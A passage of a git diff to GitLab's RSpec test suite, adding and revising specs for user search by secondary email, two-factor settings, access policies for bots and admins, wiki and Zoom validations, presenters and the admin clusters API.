index 19a6a3ce3c4..fb05c9e8052 100644
--- a/spec/models/user_spec.rb
+++ b/spec/models/user_spec.rb
@@ -99,6 +99,8 @@ RSpec.describe User do
it { is_expected.to have_many(:releases).dependent(:nullify) }
it { is_expected.to have_many(:metrics_users_starred_dashboards).inverse_of(:user) }
it { is_expected.to have_many(:reviews).inverse_of(:author) }
+ it { is_expected.to have_many(:merge_request_assignees).inverse_of(:assignee) }
+ it { is_expected.to have_many(:merge_request_reviewers).inverse_of(:reviewer) }
describe "#user_detail" do
it 'does not persist `user_detail` by default' do
@@ -1085,7 +1087,7 @@ RSpec.describe User do
@user.update!(email: 'new_primary@example.com')
end
- it 'adds old primary to secondary emails when secondary is a new email ' do
+ it 'adds old primary to secondary emails when secondary is a new email' do
@user.update!(email: 'new_primary@example.com')
@user.reload
@@ -1521,6 +1523,16 @@ RSpec.describe User do
expect(feed_token).not_to be_blank
expect(user.reload.feed_token).to eq feed_token
end
+
+ it 'ensures no feed token when disabled' do
+ allow(Gitlab::CurrentSettings).to receive(:disable_feed_token).and_return(true)
+
+ user = create(:user, feed_token: nil)
+ feed_token = user.feed_token
+
+ expect(feed_token).to be_blank
+ expect(user.reload.feed_token).to be_blank
+ end
end
describe 'static object token' do
@@ -1573,6 +1585,80 @@ RSpec.describe User do
end
end
+ describe '#two_factor_otp_enabled?' do
+ let_it_be(:user) { create(:user) }
+
+ context 'when 2FA is enabled by an MFA Device' do
+ let(:user) { create(:user, :two_factor) }
+
+ it { expect(user.two_factor_otp_enabled?).to eq(true) }
+ end
+
+ context 'FortiAuthenticator' do
+ context 'when enabled via GitLab settings' do
+ before do
+ allow(::Gitlab.config.forti_authenticator).to receive(:enabled).and_return(true)
+ end
+
+ context 'when feature is disabled for the user' do
+ before do
+ stub_feature_flags(forti_authenticator: false)
+ end
+
+ it { expect(user.two_factor_otp_enabled?).to eq(false) }
+ end
+
+ context 'when feature is enabled for the user' do
+ before do
+ stub_feature_flags(forti_authenticator: user)
+ end
+
+ it { expect(user.two_factor_otp_enabled?).to eq(true) }
+ end
+ end
+
+ context 'when disabled via GitLab settings' do
+ before do
+ allow(::Gitlab.config.forti_authenticator).to receive(:enabled).and_return(false)
+ end
+
+ it { expect(user.two_factor_otp_enabled?).to eq(false) }
+ end
+ end
+
+ context 'FortiTokenCloud' do
+ context 'when enabled via GitLab settings' do
+ before do
+ allow(::Gitlab.config.forti_token_cloud).to receive(:enabled).and_return(true)
+ end
+
+ context 'when feature is disabled for the user' do
+ before do
+ stub_feature_flags(forti_token_cloud: false)
+ end
+
+ it { expect(user.two_factor_otp_enabled?).to eq(false) }
+ end
+
+ context 'when feature is enabled for the user' do
+ before do
+ stub_feature_flags(forti_token_cloud: user)
+ end
+
+ it { expect(user.two_factor_otp_enabled?).to eq(true) }
+ end
+ end
+
+ context 'when disabled via GitLab settings' do
+ before do
+ allow(::Gitlab.config.forti_token_cloud).to receive(:enabled).and_return(false)
+ end
+
+ it { expect(user.two_factor_otp_enabled?).to eq(false) }
+ end
+ end
+ end
+
describe 'projects' do
before do
@user = create(:user)
@@ -2024,9 +2110,10 @@ RSpec.describe User do
end
describe '.search' do
- let!(:user) { create(:user, name: 'user', username: 'usern', email: 'email@gmail.com') }
- let!(:user2) { create(:user, name: 'user name', username: 'username', email: 'someemail@gmail.com') }
- let!(:user3) { create(:user, name: 'us', username: 'se', email: 'foo@gmail.com') }
+ let_it_be(:user) { create(:user, name: 'user', username: 'usern', email: 'email@example.com') }
+ let_it_be(:user2) { create(:user, name: 'user name', username: 'username', email: 'someemail@example.com') }
+ let_it_be(:user3) { create(:user, name: 'us', username: 'se', email: 'foo@example.com') }
+ let_it_be(:email) { create(:email, user: user, email: 'alias@example.com') }
describe 'name matching' do
it 'returns users with a matching name with exact match first' do
@@ -2056,7 +2143,7 @@ RSpec.describe User do
end
it 'does not return users with a partially matching Email' do
- expect(described_class.search(user.email[0..2])).not_to include(user, user2)
+ expect(described_class.search(user.email[1...-1])).to be_empty
end
it 'returns users with a matching Email regardless of the casing' do
@@ -2064,6 +2151,20 @@ RSpec.describe User do
end
end
+ describe 'secondary email matching' do
+ it 'returns users with a matching secondary email' do
+ expect(described_class.search(email.email)).to include(email.user)
+ end
+
+ it 'does not return users with a matching part of secondary email' do
+ expect(described_class.search(email.email[1...-1])).to be_empty
+ end
+
+ it 'returns users with a matching secondary email regardless of the casing' do
+ expect(described_class.search(email.email.upcase)).to include(email.user)
+ end
+ end
+
describe 'username matching' do
it 'returns users with a matching username' do
expect(described_class.search(user.username)).to eq([user, user2])
@@ -2103,65 +2204,119 @@ RSpec.describe User do
end
end
- describe '.search_with_secondary_emails' do
- delegate :search_with_secondary_emails, to: :described_class
+ describe '.search_without_secondary_emails' do
+ let_it_be(:user) { create(:user, name: 'John Doe', username: 'john.doe', email: 'someone.1@example.com' ) }
+ let_it_be(:another_user) { create(:user, name: 'Albert Smith', username: 'albert.smith', email: 'another.2@example.com' ) }
+ let_it_be(:email) { create(:email, user: another_user, email: 'alias@example.com') }
+
+ it 'returns users with a matching name' do
+ expect(described_class.search_without_secondary_emails(user.name)).to eq([user])
+ end
+
+ it 'returns users with a partially matching name' do
+ expect(described_class.search_without_secondary_emails(user.name[0..2])).to eq([user])
+ end
+
+ it 'returns users with a matching name regardless of the casing' do
+ expect(described_class.search_without_secondary_emails(user.name.upcase)).to eq([user])
+ end
+
+ it 'returns users with a matching email' do
+ expect(described_class.search_without_secondary_emails(user.email)).to eq([user])
+ end
- let!(:user) { create(:user, name: 'John Doe', username: 'john.doe', email: 'john.doe@example.com' ) }
- let!(:another_user) { create(:user, name: 'Albert Smith', username: 'albert.smith', email: 'albert.smith@example.com' ) }
- let!(:email) do
- create(:email, user: another_user, email: 'alias@example.com')
+ it 'does not return users with a partially matching email' do
+ expect(described_class.search_without_secondary_emails(user.email[1...-1])).to be_empty
+ end
+
+ it 'returns users with a matching email regardless of the casing' do
+ expect(described_class.search_without_secondary_emails(user.email.upcase)).to eq([user])
+ end
+
+ it 'returns users with a matching username' do
+ expect(described_class.search_without_secondary_emails(user.username)).to eq([user])
+ end
+
+ it 'returns users with a partially matching username' do
+ expect(described_class.search_without_secondary_emails(user.username[0..2])).to eq([user])
+ end
+
+ it 'returns users with a matching username regardless of the casing' do
+ expect(described_class.search_without_secondary_emails(user.username.upcase)).to eq([user])
+ end
+
+ it 'does not return users with a matching whole secondary email' do
+ expect(described_class.search_without_secondary_emails(email.email)).not_to include(email.user)
+ end
+
+ it 'does not return users with a matching part of secondary email' do
+ expect(described_class.search_without_secondary_emails(email.email[1...-1])).to be_empty
end
+ it 'returns no matches for an empty string' do
+ expect(described_class.search_without_secondary_emails('')).to be_empty
+ end
+
+ it 'returns no matches for nil' do
+ expect(described_class.search_without_secondary_emails(nil)).to be_empty
+ end
+ end
+
+ describe '.search_with_secondary_emails' do
+ let_it_be(:user) { create(:user, name: 'John Doe', username: 'john.doe', email: 'someone.1@example.com' ) }
+ let_it_be(:another_user) { create(:user, name: 'Albert Smith', username: 'albert.smith', email: 'another.2@example.com' ) }
+ let_it_be(:email) { create(:email, user: another_user, email: 'alias@example.com') }
+
it 'returns users with a matching name' do
- expect(search_with_secondary_emails(user.name)).to eq([user])
+ expect(described_class.search_with_secondary_emails(user.name)).to eq([user])
end
it 'returns users with a partially matching name' do
- expect(search_with_secondary_emails(user.name[0..2])).to eq([user])
+ expect(described_class.search_with_secondary_emails(user.name[0..2])).to eq([user])
end
it 'returns users with a matching name regardless of the casing' do
- expect(search_with_secondary_emails(user.name.upcase)).to eq([user])
+ expect(described_class.search_with_secondary_emails(user.name.upcase)).to eq([user])
end
it 'returns users with a matching email' do
- expect(search_with_secondary_emails(user.email)).to eq([user])
+ expect(described_class.search_with_secondary_emails(user.email)).to eq([user])
end
it 'does not return users with a partially matching email' do
- expect(search_with_secondary_emails(user.email[0..2])).not_to include([user])
+ expect(described_class.search_with_secondary_emails(user.email[1...-1])).to be_empty
end
it 'returns users with a matching email regardless of the casing' do
- expect(search_with_secondary_emails(user.email.upcase)).to eq([user])
+ expect(described_class.search_with_secondary_emails(user.email.upcase)).to eq([user])
end
it 'returns users with a matching username' do
- expect(search_with_secondary_emails(user.username)).to eq([user])
+ expect(described_class.search_with_secondary_emails(user.username)).to eq([user])
end
it 'returns users with a partially matching username' do
- expect(search_with_secondary_emails(user.username[0..2])).to eq([user])
+ expect(described_class.search_with_secondary_emails(user.username[0..2])).to eq([user])
end
it 'returns users with a matching username regardless of the casing' do
- expect(search_with_secondary_emails(user.username.upcase)).to eq([user])
+ expect(described_class.search_with_secondary_emails(user.username.upcase)).to eq([user])
end
it 'returns users with a matching whole secondary email' do
- expect(search_with_secondary_emails(email.email)).to eq([email.user])
+ expect(described_class.search_with_secondary_emails(email.email)).to eq([email.user])
end
it 'does not return users with a matching part of secondary email' do
- expect(search_with_secondary_emails(email.email[1..4])).not_to include([email.user])
+ expect(described_class.search_with_secondary_emails(email.email[1...-1])).to be_empty
end
it 'returns no matches for an empty string' do
- expect(search_with_secondary_emails('')).to be_empty
+ expect(described_class.search_with_secondary_emails('')).to be_empty
end
it 'returns no matches for nil' do
- expect(search_with_secondary_emails(nil)).to be_empty
+ expect(described_class.search_with_secondary_emails(nil)).to be_empty
end
end
@@ -2454,6 +2609,28 @@ RSpec.describe User do
end
end
+ context 'crowd synchronized user' do
+ describe '#crowd_user?' do
+ it 'is true if provider is crowd' do
+ user = create(:omniauth_user, provider: 'crowd')
+
+ expect(user.crowd_user?).to be_truthy
+ end
+
+ it 'is false for other providers' do
+ user = create(:omniauth_user, provider: 'other-provider')
+
+ expect(user.crowd_user?).to be_falsey
+ end
+
+ it 'is false if no extern_uid is provided' do
+ user = create(:omniauth_user, extern_uid: nil)
+
+ expect(user.crowd_user?).to be_falsey
+ end
+ end
+ end
+
describe '#requires_ldap_check?' do
let(:user) { described_class.new }
@@ -2878,6 +3055,57 @@ RSpec.describe User do
end
end
+ describe '#solo_owned_groups' do
+ let_it_be_with_refind(:user) { create(:user) }
+
+ subject(:solo_owned_groups) { user.solo_owned_groups }
+
+ context 'no owned groups' do
+ it { is_expected.to be_empty }
+ end
+
+ context 'has owned groups' do
+ let_it_be(:group) { create(:group) }
+
+ before do
+ group.add_owner(user)
+ end
+
+ context 'not solo owner' do
+ let_it_be(:user2) { create(:user) }
+
+ before do
+ group.add_owner(user2)
+ end
+
+ it { is_expected.to be_empty }
+ end
+
+ context 'solo owner' do
+ it { is_expected.to include(group) }
+
+ it 'avoids N+1 queries' do
+ fresh_user = User.find(user.id)
+ control_count = ActiveRecord::QueryRecorder.new do
+ fresh_user.solo_owned_groups
+ end.count
+
+ create(:group).add_owner(user)
+
+ expect { solo_owned_groups }.not_to exceed_query_limit(control_count)
+ end
+ end
+ end
+ end
+
+ describe '#can_remove_self?' do
+ let(:user) { create(:user) }
+
+ it 'returns true' do
+ expect(user.can_remove_self?).to eq true
+ end
+ end
+
describe "#recent_push" do
let(:user) { build(:user) }
let(:project) { build(:project) }
diff --git a/spec/models/wiki_page/meta_spec.rb b/spec/models/wiki_page/meta_spec.rb
index aaac72cbc68..24906d4fb79 100644
--- a/spec/models/wiki_page/meta_spec.rb
+++ b/spec/models/wiki_page/meta_spec.rb
@@ -25,13 +25,8 @@ RSpec.describe WikiPage::Meta do
end
it { is_expected.to validate_presence_of(:project_id) }
- it { is_expected.to validate_presence_of(:title) }
-
- it 'is forbidden to add extremely long titles' do
- expect do
- create(:wiki_page_meta, project: project, title: FFaker::Lorem.characters(300))
- end.to raise_error(ActiveRecord::ValueTooLong)
- end
+ it { is_expected.to validate_length_of(:title).is_at_most(255) }
+ it { is_expected.not_to allow_value(nil).for(:title) }
it 'is forbidden to have two records for the same project with the same canonical_slug' do
the_slug = generate(:sluggified_title)
diff --git a/spec/models/wiki_page/slug_spec.rb b/spec/models/wiki_page/slug_spec.rb
index cf256c67277..9e83b9a8182 100644
--- a/spec/models/wiki_page/slug_spec.rb
+++ b/spec/models/wiki_page/slug_spec.rb
@@ -48,8 +48,9 @@ RSpec.describe WikiPage::Slug do
build(:wiki_page_slug, canonical: canonical, wiki_page_meta: meta)
end
- it { is_expected.to validate_presence_of(:slug) }
it { is_expected.to validate_uniqueness_of(:slug).scoped_to(:wiki_page_meta_id) }
+ it { is_expected.to validate_length_of(:slug).is_at_most(2048) }
+ it { is_expected.not_to allow_value(nil).for(:slug) }
describe 'only_one_slug_can_be_canonical_per_meta_record' do
context 'there are no other slugs' do
diff --git a/spec/models/zoom_meeting_spec.rb b/spec/models/zoom_meeting_spec.rb
index 00a0f92e848..2b45533035d 100644
--- a/spec/models/zoom_meeting_spec.rb
+++ b/spec/models/zoom_meeting_spec.rb
@@ -12,8 +12,8 @@ RSpec.describe ZoomMeeting do
end
describe 'Associations' do
- it { is_expected.to belong_to(:project).required }
- it { is_expected.to belong_to(:issue).required }
+ it { is_expected.to belong_to(:project) }
+ it { is_expected.to belong_to(:issue) }
end
describe 'scopes' do
@@ -40,6 +40,16 @@ RSpec.describe ZoomMeeting do
end
describe 'Validations' do
+ it { is_expected.to validate_presence_of(:project) }
+ it { is_expected.to validate_presence_of(:issue) }
+
+ describe 'when importing' do
+ subject { build(:zoom_meeting, importing: true) }
+
+ it { is_expected.not_to validate_presence_of(:project) }
+ it { is_expected.not_to validate_presence_of(:issue) }
+ end
+
describe 'url' do
it { is_expected.to validate_presence_of(:url) }
it { is_expected.to validate_length_of(:url).is_at_most(255) }
diff --git a/spec/policies/global_policy_spec.rb b/spec/policies/global_policy_spec.rb
index 2f9376f9b0a..e677f5558fd 100644
--- a/spec/policies/global_policy_spec.rb
+++ b/spec/policies/global_policy_spec.rb
@@ -7,6 +7,8 @@ RSpec.describe GlobalPolicy do
let_it_be(:project_bot) { create(:user, :project_bot) }
let_it_be(:migration_bot) { create(:user, :migration_bot) }
+ let_it_be(:security_bot) { create(:user, :security_bot) }
+
let(:current_user) { create(:user) }
let(:user) { create(:user) }
@@ -148,6 +150,24 @@ RSpec.describe GlobalPolicy do
end
end
+ describe 'rejecting users' do
+ context 'regular user' do
+ it { is_expected.not_to be_allowed(:reject_user) }
+ end
+
+ context 'admin' do
+ let(:current_user) { create(:admin) }
+
+ context 'when admin mode is enabled', :enable_admin_mode do
+ it { is_expected.to be_allowed(:reject_user) }
+ end
+
+ context 'when admin mode is disabled' do
+ it { is_expected.to be_disallowed(:reject_user) }
+ end
+ end
+ end
+
describe 'using project statistics filters' do
context 'regular user' do
it { is_expected.not_to be_allowed(:use_project_statistics_filters) }
@@ -205,6 +225,12 @@ RSpec.describe GlobalPolicy do
it { is_expected.not_to be_allowed(:access_api) }
end
+ context 'security bot' do
+ let(:current_user) { security_bot }
+
+ it { is_expected.not_to be_allowed(:access_api) }
+ end
+
context 'user blocked pending approval' do
before do
current_user.block_pending_approval
@@ -335,6 +361,12 @@ RSpec.describe GlobalPolicy do
it { is_expected.to be_allowed(:access_git) }
end
+ context 'security bot' do
+ let(:current_user) { security_bot }
+
+ it { is_expected.to be_allowed(:access_git) }
+ end
+
describe 'deactivated user' do
before do
current_user.deactivate
@@ -495,6 +527,12 @@ RSpec.describe GlobalPolicy do
it { is_expected.not_to be_allowed(:log_in) }
end
+ context 'security bot' do
+ let(:current_user) { security_bot }
+
+ it { is_expected.not_to be_allowed(:log_in) }
+ end
+
context 'user blocked pending approval' do
before do
current_user.block_pending_approval
diff --git a/spec/policies/namespace_policy_spec.rb b/spec/policies/namespace_policy_spec.rb
index 8f71cf114c3..514d7303ad7 100644
--- a/spec/policies/namespace_policy_spec.rb
+++ b/spec/policies/namespace_policy_spec.rb
@@ -8,7 +8,7 @@ RSpec.describe NamespacePolicy do
let(:admin) { create(:admin) }
let(:namespace) { create(:namespace, owner: owner) }
- let(:owner_permissions) { [:create_projects, :admin_namespace, :read_namespace, :read_statistics, :transfer_projects] }
+ let(:owner_permissions) { [:owner_access, :create_projects, :admin_namespace, :read_namespace, :read_statistics, :transfer_projects] }
subject { described_class.new(current_user, namespace) }
diff --git a/spec/policies/project_policy_spec.rb b/spec/policies/project_policy_spec.rb
index 6c281030618..7f6c47d675b 100644
--- a/spec/policies/project_policy_spec.rb
+++ b/spec/policies/project_policy_spec.rb
@@ -401,6 +401,40 @@ RSpec.describe ProjectPolicy do
end
end
+ describe 'bot_log_in' do
+ let(:bot_user) { create(:user, :project_bot) }
+ let(:project) { private_project }
+
+ context 'when bot is in project and is not blocked' do
+ before do
+ project.add_maintainer(bot_user)
+ end
+
+ it 'is a valid project bot' do
+ expect(bot_user.can?(:bot_log_in, project)).to be_truthy
+ end
+ end
+
+ context 'when project bot is invalid' do
+ context 'when bot is not in project' do
+ it 'is not a valid project bot' do
+ expect(bot_user.can?(:bot_log_in, project)).to be_falsy
+ end
+ end
+
+ context 'when bot user is blocked' do
+ before do
+ project.add_maintainer(bot_user)
+ bot_user.block!
+ end
+
+ it 'is not a valid project bot' do
+ expect(bot_user.can?(:bot_log_in, project)).to be_falsy
+ end
+ end
+ end
+ end
+
context 'support bot' do
let(:current_user) { User.support_bot }
@@ -943,5 +977,145 @@ RSpec.describe ProjectPolicy do
end
end
+ describe 'read_analytics' do
+ context 'anonymous user' do
+ let(:current_user) { anonymous }
+
+ it { is_expected.to be_allowed(:read_analytics) }
+ end
+
+ context 'project member' do
+ let(:project) { private_project }
+
+ %w(guest reporter developer maintainer).each do |role|
+ context role do
+ let(:current_user) { send(role) }
+
+ it { is_expected.to be_allowed(:read_analytics) }
+
+ context "without access to Analytics" do
+ before do
+ project.project_feature.update!(analytics_access_level: ProjectFeature::DISABLED)
+ end
+
+ it { is_expected.to be_disallowed(:read_analytics) }
+ end
+ end
+ end
+ end
+ end
+
it_behaves_like 'Self-managed Core resource access tokens'
+
+ describe 'operations feature' do
+ using RSpec::Parameterized::TableSyntax
+
+ let(:guest_operations_permissions) { [:read_environment, :read_deployment] }
+
+ let(:developer_operations_permissions) do
+ guest_operations_permissions + [
+ :read_feature_flag, :read_sentry_issue, :read_alert_management_alert, :read_terraform_state,
+ :metrics_dashboard, :read_pod_logs, :read_prometheus, :create_feature_flag,
+ :create_environment, :create_deployment, :update_feature_flag, :update_environment,
+ :update_sentry_issue, :update_alert_management_alert, :update_deployment,
+ :destroy_feature_flag, :destroy_environment, :admin_feature_flag
+ ]
+ end
+
+ let(:maintainer_operations_permissions) do
+ developer_operations_permissions + [
+ :read_cluster, :create_cluster, :update_cluster, :admin_environment,
+ :admin_cluster, :admin_terraform_state, :admin_deployment
+ ]
+ end
+
+ where(:project_visibility, :access_level, :role, :allowed) do
+ :public | ProjectFeature::ENABLED | :maintainer | true
+ :public | ProjectFeature::ENABLED | :developer | true
+ :public | ProjectFeature::ENABLED | :guest | true
+ :public | ProjectFeature::ENABLED | :anonymous | true
+ :public | ProjectFeature::PRIVATE | :maintainer | true
+ :public | ProjectFeature::PRIVATE | :developer | true
+ :public | ProjectFeature::PRIVATE | :guest | true
+ :public | ProjectFeature::PRIVATE | :anonymous | false
+ :public | ProjectFeature::DISABLED | :maintainer | false
+ :public | ProjectFeature::DISABLED | :developer | false
+ :public | ProjectFeature::DISABLED | :guest | false
+ :public | ProjectFeature::DISABLED | :anonymous | false
+ :internal | ProjectFeature::ENABLED | :maintainer | true
+ :internal | ProjectFeature::ENABLED | :developer | true
+ :internal | ProjectFeature::ENABLED | :guest | true
+ :internal | ProjectFeature::ENABLED | :anonymous | false
+ :internal | ProjectFeature::PRIVATE | :maintainer | true
+ :internal | ProjectFeature::PRIVATE | :developer | true
+ :internal | ProjectFeature::PRIVATE | :guest | true
+ :internal | ProjectFeature::PRIVATE | :anonymous | false
+ :internal | ProjectFeature::DISABLED | :maintainer | false
+ :internal | ProjectFeature::DISABLED | :developer | false
+ :internal | ProjectFeature::DISABLED | :guest | false
+ :internal | ProjectFeature::DISABLED | :anonymous | false
+ :private | ProjectFeature::ENABLED | :maintainer | true
+ :private | ProjectFeature::ENABLED | :developer | true
+ :private | ProjectFeature::ENABLED | :guest | false
+ :private | ProjectFeature::ENABLED | :anonymous | false
+ :private | ProjectFeature::PRIVATE | :maintainer | true
+ :private | ProjectFeature::PRIVATE | :developer | true
+ :private | ProjectFeature::PRIVATE | :guest | false
+ :private | ProjectFeature::PRIVATE | :anonymous | false
+ :private | ProjectFeature::DISABLED | :maintainer | false
+ :private | ProjectFeature::DISABLED | :developer | false
+ :private | ProjectFeature::DISABLED | :guest | false
+ :private | ProjectFeature::DISABLED | :anonymous | false
+ end
+
+ with_them do
+ let(:current_user) { user_subject(role) }
+ let(:project) { project_subject(project_visibility) }
+
+ it 'allows/disallows the abilities based on the operation feature access level' do
+ project.project_feature.update!(operations_access_level: access_level)
+
+ if allowed
+ expect_allowed(*permissions_abilities(role))
+ else
+ expect_disallowed(*permissions_abilities(role))
+ end
+ end
+
+ def project_subject(project_type)
+ case project_type
+ when :public
+ public_project
+ when :internal
+ internal_project
+ else
+ private_project
+ end
+ end
+
+ def user_subject(role)
+ case role
+ when :maintainer
+ maintainer
+ when :developer
+ developer
+ when :guest
+ guest
+ when :anonymous
+ anonymous
+ end
+ end
+
+ def permissions_abilities(role)
+ case role
+ when :maintainer
+ maintainer_operations_permissions
+ when :developer
+ developer_operations_permissions
+ else
+ guest_operations_permissions
+ end
+ end
+ end
+ end
end
diff --git a/spec/policies/user_policy_spec.rb b/spec/policies/user_policy_spec.rb
index 17ac7d0e44d..78212f06526 100644
--- a/spec/policies/user_policy_spec.rb
+++ b/spec/policies/user_policy_spec.rb
@@ -160,4 +160,16 @@ RSpec.describe UserPolicy do
it { is_expected.not_to be_allowed(:read_group_count) }
end
end
+
+ describe ':read_user_profile' do
+ context 'when the user is unconfirmed' do
+ let(:user) { create(:user, :unconfirmed) }
+
+ it { is_expected.not_to be_allowed(:read_user_profile) }
+ end
+
+ context 'when the user is confirmed' do
+ it { is_expected.to be_allowed(:read_user_profile) }
+ end
+ end
end
diff --git a/spec/presenters/gitlab/whats_new/item_presenter_spec.rb b/spec/presenters/gitlab/whats_new/item_presenter_spec.rb
new file mode 100644
index 00000000000..9b04741aa60
--- /dev/null
+++ b/spec/presenters/gitlab/whats_new/item_presenter_spec.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::WhatsNew::ItemPresenter do
+ let(:present) { Gitlab::WhatsNew::ItemPresenter.present(item) }
+ let(:item) { { "packages" => %w(Core Starter Premium Ultimate) } }
+ let(:gitlab_com) { true }
+
+ before do
+ allow(Gitlab).to receive(:com?).and_return(gitlab_com)
+ end
+
+ describe '.present' do
+ context 'when on Gitlab.com' do
+ it 'transforms package names to gitlab.com friendly package names' do
+ expect(present).to eq({ "packages" => %w(Free Bronze Silver Gold) })
+ end
+ end
+
+ context 'when not on Gitlab.com' do
+ let(:gitlab_com) { false }
+
+ it 'does not transform package names' do
+ expect(present).to eq({ "packages" => %w(Core Starter Premium Ultimate) })
+ end
+ end
+ end
+end
diff --git a/spec/presenters/packages/composer/packages_presenter_spec.rb b/spec/presenters/packages/composer/packages_presenter_spec.rb
index 0445a346180..19d99a62468 100644
--- a/spec/presenters/packages/composer/packages_presenter_spec.rb
+++ b/spec/presenters/packages/composer/packages_presenter_spec.rb
@@ -67,7 +67,7 @@ RSpec.describe ::Packages::Composer::PackagesPresenter do
{
'packages' => [],
'provider-includes' => { 'p/%hash%.json' => { 'sha256' => /^\h+$/ } },
- 'providers-url' => "/api/v4/group/#{group.id}/-/packages/composer/%package%.json"
+ 'providers-url' => "/api/v4/group/#{group.id}/-/packages/composer/%package%$%hash%.json"
}
end
diff --git a/spec/presenters/project_presenter_spec.rb b/spec/presenters/project_presenter_spec.rb
index b7fee5253f8..a9050c233af 100644
--- a/spec/presenters/project_presenter_spec.rb
+++ b/spec/presenters/project_presenter_spec.rb
@@ -375,7 +375,7 @@ RSpec.describe ProjectPresenter do
it 'returns anchor data' do
project.add_developer(user)
- allow(project.repository).to receive(:readme).and_return(nil)
+ allow(project.repository).to receive(:readme_path).and_return(nil)
expect(presenter.readme_anchor_data).to have_attributes(
is_link: false,
@@ -387,7 +387,7 @@ RSpec.describe ProjectPresenter do
context 'when README exists' do
it 'returns anchor data' do
- allow(project.repository).to receive(:readme).and_return(double(name: 'readme'))
+ allow(project.repository).to receive(:readme_path).and_return('readme')
expect(presenter.readme_anchor_data).to have_attributes(
is_link: false,
@@ -561,7 +561,7 @@ RSpec.describe ProjectPresenter do
let(:project) { build_stubbed(:project) }
it 'orders the items correctly' do
- allow(project.repository).to receive(:readme).and_return(double(name: 'readme'))
+ allow(project.repository).to receive(:readme_path).and_return('readme')
allow(project.repository).to receive(:license_blob).and_return(nil)
allow(project.repository).to receive(:changelog).and_return(nil)
allow(project.repository).to receive(:contribution_guide).and_return(double(name: 'foo'))
diff --git a/spec/presenters/projects/import_export/project_export_presenter_spec.rb b/spec/presenters/projects/import_export/project_export_presenter_spec.rb
index 8463d01d95b..b2b2ce35f34 100644
--- a/spec/presenters/projects/import_export/project_export_presenter_spec.rb
+++ b/spec/presenters/projects/import_export/project_export_presenter_spec.rb
@@ -45,6 +45,14 @@ RSpec.describe Projects::ImportExport::ProjectExportPresenter do
end
end
+ describe '#protected_branches' do
+ it 'returns the project exported protected branches' do
+ expect(project).to receive(:exported_protected_branches)
+
+ subject.protected_branches
+ end
+ end
+
describe '#project_members' do
let(:user2) { create(:user, email: 'group@member.com') }
let(:member_emails) do
diff --git a/spec/presenters/search_service_presenter_spec.rb b/spec/presenters/search_service_presenter_spec.rb
new file mode 100644
index 00000000000..06ece838d8d
--- /dev/null
+++ b/spec/presenters/search_service_presenter_spec.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe SearchServicePresenter do
+ let(:user) { create(:user) }
+ let(:search_service) { SearchService.new(user, search: search, scope: scope) }
+ let(:presenter) { described_class.new(search_service, current_user: user) }
+
+ describe '#show_results_status?' do
+ using RSpec::Parameterized::TableSyntax
+
+ let(:search) { '' }
+ let(:scope) { nil }
+
+ before do
+ allow(presenter).to receive(:search_objects).and_return([])
+ allow(presenter).to receive(:without_count?).and_return(!with_count)
+ allow(presenter).to receive(:show_snippets?).and_return(show_snippets)
+ allow(presenter).to receive(:show_sort_dropdown?).and_return(show_sort_dropdown)
+ end
+
+ where(:with_count, :show_snippets, :show_sort_dropdown, :result) do
+ true | true | true | true
+ false | true | false | true
+ false | false | true | true
+ false | false | false | false
+ end
+
+ with_them do
+ it { expect(presenter.show_results_status?).to eq(result) }
+ end
+ end
+end
diff --git a/spec/presenters/snippet_presenter_spec.rb b/spec/presenters/snippet_presenter_spec.rb
index 66c6ba8fa0e..a1d987ed78f 100644
--- a/spec/presenters/snippet_presenter_spec.rb
+++ b/spec/presenters/snippet_presenter_spec.rb
@@ -72,7 +72,7 @@ RSpec.describe SnippetPresenter do
context 'with ProjectSnippet' do
let(:snippet) { project_snippet }
- it 'checks read_snippet ' do
+ it 'checks read_snippet' do
expect(presenter).to receive(:can?).with(user, :read_snippet, snippet)
subject
@@ -96,7 +96,7 @@ RSpec.describe SnippetPresenter do
context 'with ProjectSnippet' do
let(:snippet) { project_snippet }
- it 'checks update_snippet ' do
+ it 'checks update_snippet' do
expect(presenter).to receive(:can?).with(user, :update_snippet, snippet)
subject
@@ -120,7 +120,7 @@ RSpec.describe SnippetPresenter do
context 'with ProjectSnippet' do
let(:snippet) { project_snippet }
- it 'checks admin_snippet ' do
+ it 'checks admin_snippet' do
expect(presenter).to receive(:can?).with(user, :admin_snippet, snippet)
subject
diff --git a/spec/requests/api/admin/instance_clusters_spec.rb b/spec/requests/api/admin/instance_clusters_spec.rb
index 1052080aad4..ab3b6b718e1 100644
--- a/spec/requests/api/admin/instance_clusters_spec.rb
+++ b/spec/requests/api/admin/instance_clusters_spec.rb
@@ -90,6 +90,8 @@ RSpec.describe ::API::Admin::InstanceClusters do
expect(json_response['environment_scope']).to eq('*')
expect(json_response['cluster_type']).to eq('instance_type')
expect(json_response['domain']).to eq('example.com')
+ expect(json_response['enabled']).to be_truthy
+ expect(json_response['managed']).to be_truthy
end
it 'returns kubernetes platform information' do
@@ -163,6 +165,7 @@ RSpec.describe ::API::Admin::InstanceClusters do
name: 'test-instance-cluster',
domain: 'domain.example.com',
managed: false,
+ enabled: false,
namespace_per_environment: false,
platform_kubernetes_attributes: platform_kubernetes_attributes,
clusterable: clusterable
@@ -205,9 +208,9 @@ RSpec.describe ::API::Admin::InstanceClusters do
expect(cluster_result.name).to eq('test-instance-cluster')
expect(cluster_result.domain).to eq('domain.example.com')
expect(cluster_result.environment_scope).to eq('*')
- expect(cluster_result.enabled).to eq(true)
- expect(platform_kubernetes.authorization_type).to eq('rbac')
expect(cluster_result.managed).to be_falsy
+ expect(cluster_result.enabled).to be_falsy
+ expect(platform_kubernetes.authorization_type).to eq('rbac')
expect(cluster_result.namespace_per_environment).to eq(false)
expect(platform_kubernetes.api_url).to eq("https://example.com")
expect(platform_kubernetes.token).to eq('sample-token')
@@ -301,6 +304,8 @@ RSpec.describe ::API::Admin::InstanceClusters do
let(:update_params) do
{
domain: domain,
+ managed: false,
+ enabled: false,
platform_kubernetes_attributes: platform_kubernetes_attributes
}
end
@@ -326,6 +331,8 @@ RSpec.describe ::API::Admin::InstanceClusters do
it 'updates cluster attributes' do
expect(cluster.domain).to eq('new-domain.com')
+ expect(cluster.managed).to be_falsy
+ expect(cluster.enabled).to be_falsy
end
end
@@ -338,6 +345,8 @@ RSpec.describe ::API::Admin::InstanceClusters do
it 'does not update cluster attributes' do
expect(cluster.domain).to eq('old-domain.com')
+ expect(cluster.managed).to be_truthy
+ expect(cluster.enabled).to be_truthy
end
